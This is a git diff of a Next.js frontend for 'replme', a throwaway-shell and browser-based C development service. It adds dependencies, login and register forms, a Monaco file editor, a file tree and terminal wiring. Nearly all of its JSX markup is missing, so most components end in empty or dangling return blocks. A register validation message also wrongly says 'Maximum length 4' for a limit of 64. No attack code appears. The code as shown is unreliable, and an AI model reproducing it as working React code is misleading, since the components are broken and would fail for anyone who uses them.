"@types/react-dom": { + "optional": true + } + } + }, "node_modules/@radix-ui/react-menu": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/@radix-ui/react-menu/-/react-menu-2.1.1.tgz", @@ -3880,6 +3940,12 @@ "node": ">=16 || 14 >=14.17" } }, + "node_modules/monaco-editor": { + "version": "0.50.0", + "resolved": "https://registry.npmjs.org/monaco-editor/-/monaco-editor-0.50.0.tgz", + "integrity": "sha512-8CclLCmrRRh+sul7C08BmPBP3P8wVWfBHomsTcndxg5NRCEPfu/mc2AGU8k37ajjDVXcXFc12ORAMUkmk+lkFA==", + "peer": true + }, "node_modules/ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", @@ -4541,6 +4607,21 @@ "react": "^18.3.1" } }, + "node_modules/react-hook-form": { + "version": "7.52.0", + "resolved": "https://registry.npmjs.org/react-hook-form/-/react-hook-form-7.52.0.tgz", + "integrity": "sha512-mJX506Xc6mirzLsmXUJyqlAI3Kj9Ph2RhplYhUVffeOQSnubK2uVqBFOBJmvKikvbFV91pxVXmDiR+QMF19x6A==", + "engines": { + "node": ">=12.22.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/react-hook-form" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17 || ^18 || ^19" + } + }, "node_modules/react-is": { "version": "16.13.1", "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", @@ -4592,6 +4673,15 @@ } } }, + "node_modules/react-resizable-panels": { + "version": "2.0.19", + "resolved": "https://registry.npmjs.org/react-resizable-panels/-/react-resizable-panels-2.0.19.tgz", + "integrity": "sha512-v3E41kfKSuCPIvJVb4nL4mIZjjKIn/gh6YqZF/gDfQDolv/8XnhJBek4EiV2gOr3hhc5A3kOGOayk3DhanpaQw==", + "peerDependencies": { + "react": "^16.14.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.14.0 || ^17.0.0 || ^18.0.0" + } + }, "node_modules/react-style-singleton": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz", @@ -4931,6 +5021,11 @@ "node": ">=0.10.0" } }, + "node_modules/state-local": { + "version": "1.0.7", + "resolved": "https://registry.npmjs.org/state-local/-/state-local-1.0.7.tgz", + "integrity": "sha512-HTEHMNieakEnoe33shBYcZ7NX83ACUjCu8c40iOGEZsngj9zRnkqS9j1pqQPXwobB0ZcVTk27REb7COQ0UR59w==" + }, "node_modules/stop-iteration-iterator": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/stop-iteration-iterator/-/stop-iteration-iterator-1.0.0.tgz", @@ -5756,6 +5851,14 @@ "funding": { "url": "https://github.com/sponsors/sindresorhus" } + }, + "node_modules/zod": { + "version": "3.23.8", + "resolved": "https://registry.npmjs.org/zod/-/zod-3.23.8.tgz", + "integrity": "sha512-XBx9AXhXktjUqnepgTiE5flcKIYWi/rme0Eaj+5Y0lftuGBq+jyRu/md4WnuxqgP1ubdpNCsYEYPxrzVHD8d6g==", + "funding": { + "url": "https://github.com/sponsors/colinhacks" + } } } } diff --git a/service/frontend/package.json b/service/frontend/package.json index 3cb1706..2a575d9 100644 --- a/service/frontend/package.json +++ b/service/frontend/package.json @@ -9,9 +9,12 @@ "lint": "next lint" }, "dependencies": { + "@hookform/resolvers": "^3.6.0", + "@monaco-editor/react": "^4.6.0", "@radix-ui/react-dialog": "^1.1.1", "@radix-ui/react-dropdown-menu": "^2.1.1", "@radix-ui/react-icons": "^1.3.0", + "@radix-ui/react-label": "^2.1.0", "@radix-ui/react-slot": "^1.1.0", "@tanstack/react-query": "^5.45.1", "@xterm/addon-attach": "^0.11.0", @@ -27,9 +30,12 @@ "next-themes": "^0.3.0", "react": "^18", "react-dom": "^18", + "react-hook-form": "^7.52.0", + "react-resizable-panels": "^2.0.19", "tailwind-merge": "^2.3.0", "tailwindcss-animate": "^1.0.7", - "vaul": "^0.9.1" + "vaul": "^0.9.1", + "zod": "^3.23.8" }, "devDependencies": { "@types/node": "^20", diff --git a/service/frontend/src/app/devenv/[slug]/page.tsx b/service/frontend/src/app/devenv/[slug]/page.tsx new file mode 100644 index 0000000..6697cca --- /dev/null +++ b/service/frontend/src/app/devenv/[slug]/page.tsx @@ -0,0 +1,48 @@ +"use client"; + +import dynamic from "next/dynamic"; +import FileTree from "@/components/file-tree"; +import { ResizableHandle, ResizablePanel, ResizablePanelGroup } from "@/components/ui/resizable"; +import { useState } from "react"; +import ExecTerm from "@/components/exec-term"; +import { Button } from "@/components/ui/button"; + +const Editor = dynamic(() => import('@/components/editor'), { + ssr: false +}) + +export default function Page({ params }: { params: { slug: string } }) { + const [showTerminal, setShowTerminal] = useState(0) + + const [currentFile, setCurrentFile] = useState(); + + return ( +
+ + +
+ + +
+
+ + + + + + + {Boolean(showTerminal) && <> + + + + + } + + + +
+
+ ); +} diff --git a/service/frontend/src/app/login/page.tsx b/service/frontend/src/app/login/page.tsx new file mode 100644 index 0000000..7aeec51 --- /dev/null +++ b/service/frontend/src/app/login/page.tsx @@ -0,0 +1,88 @@ +"use client"; + +import { zodResolver } from "@hookform/resolvers/zod"; +import { useForm } from "react-hook-form"; +import { navigate } from "@/actions/navigate"; +import { Button } from "@/components/ui/button"; +import axios from "axios"; +import { z } from "zod"; +import { Form, FormControl, FormField, FormItem, FormMessage } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { useMutation, useQueryClient } from "@tanstack/react-query"; + +const LoginFormSchema = z.object({ + username: z.string().min(1, { message: "Username can't be empty" }), + password: z.string().min(1, { message: "Password can't be empty" }) +}) + +type LoginForm = z.infer; + +export default function Page() { + const queryClient = useQueryClient(); + + const form = useForm({ + resolver: zodResolver(LoginFormSchema), + defaultValues: { + username: "", + password: "", + } + }) + + const mutation = useMutation({ + mutationFn: (credentials: LoginForm) => axios.post( + process.env.NEXT_PUBLIC_API + '/api/auth/login', + credentials, + { + withCredentials: true + } + ), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['user'] }) + navigate("/") + }, + onError: () => { + form.setError("password", { + message: "Password is wrong" + }) + } + }) + + const onSubmit = (credentials: LoginForm) => { + mutation.mutate(credentials); + } + + return ( +
+
Login
+
+ + ( + + + + + + + )} + /> + ( + + + + + + + )} + /> + + + +
+ ); +} diff --git a/service/frontend/src/app/page.tsx b/service/frontend/src/app/page.tsx index 7bdc6e1..49bb27f 100644 --- a/service/frontend/src/app/page.tsx +++ b/service/frontend/src/app/page.tsx @@ -1,13 +1,30 @@ "use client"; +import CreateDevenvButton from "@/components/create-devenv-button"; import CreateReplButton from "@/components/create-repl-button"; import { Button } from "@/components/ui/button"; -import { CodeIcon, RocketIcon, ReloadIcon } from "@radix-ui/react-icons" -import { useMutation, useQueryClient } from "@tanstack/react-query"; +import { GetUserResponse } from "@/lib/types"; +import { RocketIcon } from "@radix-ui/react-icons" +import { useQuery } from "@tanstack/react-query"; +import axios from "axios"; export default function Page() { + const query = useQuery({ + queryKey: ['user'], + queryFn: () => axios.get( + process.env.NEXT_PUBLIC_API + "/api/auth/user", + { + withCredentials: true + } + ), + staleTime: Infinity, + }) + + + const isAuthenticatedMode = !query.isStale && query.isSuccess + return ( -
+
Want a clean /home?
Use replme!
@@ -15,11 +32,13 @@ export default function Page() { use a throwaway shell - all in one place.
diff --git a/service/frontend/src/app/register/page.tsx b/service/frontend/src/app/register/page.tsx new file mode 100644 index 0000000..457c4b5 --- /dev/null +++ b/service/frontend/src/app/register/page.tsx @@ -0,0 +1,86 @@ +"use client"; + +import { zodResolver } from "@hookform/resolvers/zod"; +import { useForm } from "react-hook-form"; +import { navigate } from "@/actions/navigate"; +import { Button } from "@/components/ui/button"; +import axios from "axios"; +import { z } from "zod"; +import { Form, FormControl, FormField, FormItem, FormMessage } from "@/components/ui/form"; +import { Input } from "@/components/ui/input"; +import { useMutation } from "@tanstack/react-query"; + +const RegisterFormSchema = z.object({ + username: z.string().min(4, { message: "Minimum length 4" }).max(64, { message: "Maximum length 4" }).regex(/^[a-zA-Z0-9]*$/, { message: "Only alphanumeric" }), + password: z.string().min(4, { message: "Minimum length 4" }).max(64, { message: "Maximum length 4" }) +}) + +type RegisterForm = z.infer; + +export default function Page() { + + const form = useForm({ + resolver: zodResolver(RegisterFormSchema), + defaultValues: { + username: "", + password: "", + } + }) + + const mutation = useMutation({ + mutationFn: (credentials: RegisterForm) => axios.post( + process.env.NEXT_PUBLIC_API + '/api/auth/register', + credentials, + { + withCredentials: true + } + ), + onSuccess: () => { + navigate("/login") + }, + onError: () => { + form.setError("username", { + message: "That did not work, user exists?" + }) + } + }) + + const onSubmit = (credentials: RegisterForm) => { + mutation.mutate(credentials); + } + + return ( +
+
Register
+
+ + ( + + + + + + + )} + /> + ( + + + + + + + )} + /> + + + +
+ ); +} diff --git a/service/frontend/src/app/repl/[slug]/page.tsx b/service/frontend/src/app/repl/[slug]/page.tsx index d8c51db..d90ecba 100644 --- a/service/frontend/src/app/repl/[slug]/page.tsx +++ b/service/frontend/src/app/repl/[slug]/page.tsx @@ -8,8 +8,8 @@ const Terminal = dynamic(() => import('@/components/terminal'), { export default function Page({ params }: { params: { slug: string } }) { return ( -
- -
+
+ +
) } diff --git a/service/frontend/src/components/create-devenv-button.tsx b/service/frontend/src/components/create-devenv-button.tsx new file mode 100644 index 0000000..e09ad32 --- /dev/null +++ b/service/frontend/src/components/create-devenv-button.tsx @@ -0,0 +1,51 @@ +"use client"; + +import { navigate } from "@/actions/navigate"; +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import axios from "axios"; +import { Button, ButtonProps } from "./ui/button"; +import { CodeIcon, ReloadIcon } from "@radix-ui/react-icons"; +import React from "react"; +import { CreateDevenvRequest, CreateDevenvResponse } from "@/lib/types"; +import { randomString } from "@/lib/utils"; + +const CreateDevenvButton = React.forwardRef( + (props, ref) => { + const client = useQueryClient(); + + const mutation = useMutation({ + mutationFn: (credentials: CreateDevenvRequest) => axios.post( + process.env.NEXT_PUBLIC_API + '/api/devenv', + credentials, + { + withCredentials: true + } + ), + onSuccess: (response) => { + client.invalidateQueries({ queryKey: ['devenvs'] }) + navigate("/devenv/" + response.data.devenvUuid) + }, + }) + + const handleCreateRepl = (event: React.MouseEvent) => { + const name = randomString(10); + mutation.mutate({ + name, + buildCmd: "gcc -o main main.c", + runCmd: "./main" + }); + if (props.onClick) props.onClick(event) + } + + return ( + + ) + } +) + +CreateDevenvButton.displayName = "CreateDevenvButton"; + +export default CreateDevenvButton; diff --git a/service/frontend/src/components/devenv-menu.tsx b/service/frontend/src/components/devenv-menu.tsx new file mode 100644 index 0000000..7544090 --- /dev/null +++ b/service/frontend/src/components/devenv-menu.tsx @@ -0,0 +1,63 @@ +"use client"; + +import { Button } from "@/components/ui/button" +import { + Drawer, + DrawerClose, + DrawerContent, + DrawerDescription, + DrawerHeader, + DrawerTitle, + DrawerTrigger, +} from "@/components/ui/drawer" +import { useQuery } from "@tanstack/react-query"; +import axios from "axios"; +import { CodeIcon } from "@radix-ui/react-icons"; +import { navigate } from "@/actions/navigate"; +import { Devenv } from "@/lib/types"; +import CreateDevenvButton from "./create-devenv-button"; + +const DevenvMenu = () => { + const query = useQuery( + { + queryKey: ["devenvs"], + queryFn: () => axios.get(process.env.NEXT_PUBLIC_API + '/api/devenv', { withCredentials: true }), + } + ) + + const numSessions = query.data?.data?.length ?? 0; + + return ( + + + + + +
+ + Your Devenvs + Open a devenv by clicking it + + +
+ {query.data?.data?.map((devenv) => ( + + + + ))} + + + +
+
+
+
+ ) +} + +export default DevenvMenu; diff --git a/service/frontend/src/components/editor.tsx b/service/frontend/src/components/editor.tsx new file mode 100644 index 0000000..6dd3da3 --- /dev/null +++ b/service/frontend/src/components/editor.tsx @@ -0,0 +1,89 @@ +"use client"; + +import MonacoEditor, { Monaco, OnChange } from '@monaco-editor/react'; +import { useMutation, useQuery, useQueryClient } from '@tanstack/react-query'; +import axios from 'axios'; +import { useTheme } from 'next-themes'; + +type EditorProps = { + className?: string, + devenvUuid: string, + filename?: string +} + +const Editor: React.FC = (props) => { + const { className, devenvUuid, filename } = props; + const queryClient = useQueryClient(); + + const { resolvedTheme } = useTheme(); + const editorTheme = resolvedTheme === "light" ? "light" : "dark"; + + const fileContentQuery = useQuery({ + queryKey: ['devenv', devenvUuid, 'files', filename, 'content'], + queryFn: () => axios.get( + process.env.NEXT_PUBLIC_API + "/api/devenv/" + devenvUuid + "/files/" + filename, + { + withCredentials: true + } + ).then((data) => { + return data.data + }), + staleTime: Infinity, + enabled: Boolean(filename) + }) + + const fileContentMutation = useMutation({ + mutationFn: (value: string) => axios.post( + process.env.NEXT_PUBLIC_API + "/api/devenv/" + devenvUuid + "/files/" + filename, + value, + { + withCredentials: true + } + ), + onSuccess: (_, value) => { + queryClient.setQueryData( + ['devenv', devenvUuid, 'files', filename, 'content'], + () => { + return value + } + ) + }, + }) + + const handleEditorWillMount = (monaco: Monaco) => { + monaco.editor.defineTheme("dark", { + "base": "vs-dark", + "inherit": true, + "rules": [], + "colors": { + "editor.background": "#020817" + } + }) + } + + const handleEditorChange: OnChange = (value, _) => { + if (value) + fileContentMutation.mutate(value); + } + + if (!filename) + return <> + + if (fileContentQuery.isStale || fileContentQuery.isLoading) { + return <> + } + + return ( + + ) +} + +export default Editor; diff --git a/service/frontend/src/components/exec-term.tsx b/service/frontend/src/components/exec-term.tsx new file mode 100644 index 0000000..e0a7812 --- /dev/null +++ b/service/frontend/src/components/exec-term.tsx @@ -0,0 +1,25 @@ +"use client"; + +import dynamic from 'next/dynamic' + +const Terminal = dynamic(() => import('@/components/terminal'), { + ssr: false +}) + +type ExecTermProps = { + className?: string + id: string + path: string +} + +const ExecTerm: React.FC = (props) => { + + const { className, id, path } = props + + return
+ +
+} + + +export default ExecTerm; diff --git a/service/frontend/src/components/file-tree.tsx b/service/frontend/src/components/file-tree.tsx new file mode 100644 index 0000000..d982b24 --- /dev/null +++ b/service/frontend/src/components/file-tree.tsx @@ -0,0 +1,148 @@ +import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query" +import axios from "axios" +import { Button } from "./ui/button" +import { Skeleton } from "./ui/skeleton" +import { Cross2Icon } from "@radix-ui/react-icons" +import { z } from "zod" +import { useForm } from "react-hook-form" +import { zodResolver } from "@hookform/resolvers/zod" +import { Form, FormControl, FormField, FormItem } from "./ui/form" +import { Input } from "./ui/input" + +type FileTreeProps = { + className?: string + devenvUuid: string + selectedFile?: string + setSelectedFile: (file: string | undefined) => void +} + +const CreateFileFormSchema = z.object({ + name: z.string().min(1).max(30), +}); + +type CreateFileForm = z.infer; + +const FileTree: React.FC = (props) => { + const { className, devenvUuid, selectedFile, setSelectedFile } = props; + + const queryClient = useQueryClient(); + + const form = useForm({ + resolver: zodResolver(CreateFileFormSchema), + defaultValues: { + name: "", + } + }) + + const filesQuery = useQuery({ + queryKey: ['devenv', devenvUuid, 'files'], + queryFn: () => axios.get( + process.env.NEXT_PUBLIC_API + "/api/devenv/" + devenvUuid + "/files", + { + withCredentials: true + } + ).then((data) => { + const files = data.data.sort(); + if (!selectedFile && files.length > 0) + setSelectedFile(files[0]) + return files + }), + }) + + const createFileMutation = useMutation({ + mutationFn: (file: CreateFileForm) => axios.post( + process.env.NEXT_PUBLIC_API + '/api/devenv/' + devenvUuid + "/files", + file, + { + withCredentials: true + } + ), + onSuccess: (_, file) => { + queryClient.setQueryData( + ['devenv', devenvUuid, 'files'], + (oldData) => { + let _data: string[] = oldData ?? [] + if (_data.includes(file.name)) + return _data + if (!selectedFile) + setSelectedFile(file.name) + return [..._data, file.name].sort() + } + ) + }, + }) + + const deleteFileMutation = useMutation({ + mutationFn: (filename: string) => axios.delete( + process.env.NEXT_PUBLIC_API + '/api/devenv/' + devenvUuid + "/files/" + encodeURI(filename), + { + withCredentials: true + } + ), + onSuccess: (_, filename) => { + queryClient.setQueryData( + ['devenv', devenvUuid, 'files'], + (oldData) => { + let _data: string[] = oldData ?? [] + _data = _data.filter((name) => name !== filename) + if (selectedFile === filename) + setSelectedFile(_data.length > 0 ? _data[0] : undefined) + return _data + } + ) + } + }) + + const onCreateFileSubmit = (file: CreateFileForm) => { + createFileMutation.mutate(file) + } + + return ( +
+
+ + ( + + + + + + )} + /> + + + + {filesQuery.isLoading && ( + <> + + + + )} + {filesQuery.isSuccess && +
+ {filesQuery.data.map((filename) => ( +
setSelectedFile(filename)}> +
{filename}
+ +
+ ))} +
+ } + {filesQuery.isError && +
Uh oh, something went wrong
+ } +
+ ) +} + +export default FileTree; diff --git a/service/frontend/src/components/login-button.tsx b/service/frontend/src/components/login-button.tsx new file mode 100644 index 0000000..4e6ed93 --- /dev/null +++ b/service/frontend/src/components/login-button.tsx @@ -0,0 +1,12 @@ +import { EnterIcon } from "@radix-ui/react-icons"; +import { Button } from "./ui/button"; +import { navigate } from "@/actions/navigate"; + +export function LoginButton() { + return ( + + ) +} + diff --git a/service/frontend/src/components/logout-button.tsx b/service/frontend/src/components/logout-button.tsx new file mode 100644 index 0000000..5c5e387 --- /dev/null +++ b/service/frontend/src/components/logout-button.tsx @@ -0,0 +1,33 @@ +"use client" + +import { ExitIcon } from "@radix-ui/react-icons"; +import { Button } from "./ui/button"; +import { navigate } from "@/actions/navigate"; +import { useMutation, useQueryClient } from "@tanstack/react-query"; +import axios from "axios"; + +export function LogoutButton() { + + const queryClient = useQueryClient(); + + const mutation = useMutation({ + mutationFn: () => axios.post( + process.env.NEXT_PUBLIC_API + '/api/auth/logout', + undefined, + { + withCredentials: true + } + ), + onSuccess: () => { + queryClient.invalidateQueries({ queryKey: ['user'] }) + navigate("/") + } + }); + + return ( + + ) +} + diff --git a/service/frontend/src/components/navigation-bar.tsx b/service/frontend/src/components/navigation-bar.tsx index 1fb3291..b497a2f 100644 --- a/service/frontend/src/components/navigation-bar.tsx +++ b/service/frontend/src/components/navigation-bar.tsx @@ -3,8 +3,28 @@ import Link from "next/link"; import { ModeToggle } from "./mode-toggle"; import ReplMenu from "./repl-menu"; +import { LoginButton } from "./login-button"; +import { useQuery } from "@tanstack/react-query"; +import axios from "axios"; +import { GetUserResponse } from "@/lib/types"; +import { useEffect } from "react"; +import DevenvMenu from "./devenv-menu"; +import { LogoutButton } from "./logout-button"; + +const Navbar = () => { + const query = useQuery({ + queryKey: ['user'], + queryFn: () => axios.get( + process.env.NEXT_PUBLIC_API + "/api/auth/user", + { + withCredentials: true + } + ), + staleTime: Infinity + }) + + const isAuthenticatedMode = !query.isStale && query.isSuccess -function Navbar() { return ( diff --git a/service/frontend/src/components/repl-menu.tsx b/service/frontend/src/components/repl-menu.tsx index 9b36a0d..e7bfd2a 100644 --- a/service/frontend/src/components/repl-menu.tsx +++ b/service/frontend/src/components/repl-menu.tsx @@ -20,7 +20,7 @@ const ReplMenu = () => { const query = useQuery( { queryKey: ["repl-sessions"], - queryFn: () => axios.get(process.env.NEXT_PUBLIC_API + '/api/user/sessions', { withCredentials: true }), + queryFn: () => axios.get(process.env.NEXT_PUBLIC_API + '/api/repl/sessions', { withCredentials: true }), } ) diff --git a/service/frontend/src/components/terminal.tsx b/service/frontend/src/components/terminal.tsx index 0be33df..e92ee89 100644 --- a/service/frontend/src/components/terminal.tsx +++ b/service/frontend/src/components/terminal.tsx @@ -62,11 +62,12 @@ const DELAY = 1000; type TerminalProps = { id?: string, className?: string, - name: string, + path: string, + catchClose?: boolean, }; const Terminal: React.FC = (props) => { - const { id, className, name } = props; + const { id, className, path, catchClose } = props; const { resolvedTheme } = useTheme(); @@ -87,7 +88,7 @@ const Terminal: React.FC = (props) => { return; const protocol = (location.protocol === 'https:') ? 'wss://' : 'ws://'; - let socketURL = protocol + (process.env.NEXT_PUBLIC_WS || location.host) + '/api/repl/'; + let socketURL = protocol + (process.env.NEXT_PUBLIC_WS || location.host) + path; const terminal = new XTerm({ allowProposedApi: true, fontFamily: '"DejaVuSansM Nerd Font", courier-new, courier, monospace', @@ -115,20 +116,20 @@ const Terminal: React.FC = (props) => { async function connect() { for (let i = 0; i < RETRY; i++) { try { - socketURL += name; const socket = new WebSocket(socketURL); websocketRef.current = socket; socket.onopen = async () => { terminal.loadAddon(new AttachAddon(socket)); fit.fit() }; - window.onbeforeunload = function(e: any) { - if (e) { - e.returnValue = 'Leave site?'; - } - // safari - return 'Leave site?'; - }; + if (catchClose) + window.onbeforeunload = function(e: any) { + if (e) { + e.returnValue = 'Leave site?'; + } + // safari + return 'Leave site?'; + }; break; } catch (error) { // ignore @@ -143,7 +144,8 @@ const Terminal: React.FC = (props) => { return () => { terminal.dispose(); websocketRef.current?.close(); - window.onbeforeunload = null; + if (catchClose) + window.onbeforeunload = null; } }, [terminalRef, websocketRef]) diff --git a/service/frontend/src/components/ui/form.tsx b/service/frontend/src/components/ui/form.tsx new file mode 100644 index 0000000..f6afdaf --- /dev/null +++ b/service/frontend/src/components/ui/form.tsx @@ -0,0 +1,176 @@ +import * as React from "react" +import * as LabelPrimitive from "@radix-ui/react-label" +import { Slot } from "@radix-ui/react-slot" +import { + Controller, + ControllerProps, + FieldPath, + FieldValues, + FormProvider, + useFormContext, +} from "react-hook-form" + +import { cn } from "@/lib/utils" +import { Label } from "@/components/ui/label" + +const Form = FormProvider + +type FormFieldContextValue< + TFieldValues extends FieldValues = FieldValues, + TName extends FieldPath = FieldPath +> = { + name: TName +} + +const FormFieldContext = React.createContext( + {} as FormFieldContextValue +) + +const FormField = < + TFieldValues extends FieldValues = FieldValues, + TName extends FieldPath = FieldPath +>({ + ...props +}: ControllerProps) => { + return ( + + + + ) +} + +const useFormField = () => { + const fieldContext = React.useContext(FormFieldContext) + const itemContext = React.useContext(FormItemContext) + const { getFieldState, formState } = useFormContext() + + const fieldState = getFieldState(fieldContext.name, formState) + + if (!fieldContext) { + throw new Error("useFormField should be used within ") + } + + const { id } = itemContext + + return { + id, + name: fieldContext.name, + formItemId: `${id}-form-item`, + formDescriptionId: `${id}-form-item-description`, + formMessageId: `${id}-form-item-message`, + ...fieldState, + } +} + +type FormItemContextValue = { + id: string +} + +const FormItemContext = React.createContext( + {} as FormItemContextValue +) + +const FormItem = React.forwardRef< + HTMLDivElement, + React.HTMLAttributes +>(({ className, ...props }, ref) => { + const id = React.useId() + + return ( + +
+ + ) +}) +FormItem.displayName = "FormItem" + +const FormLabel = React.forwardRef< + React.ElementRef, + React.ComponentPropsWithoutRef +>(({ className, ...props }, ref) => { + const { error, formItemId } = useFormField() + + return ( +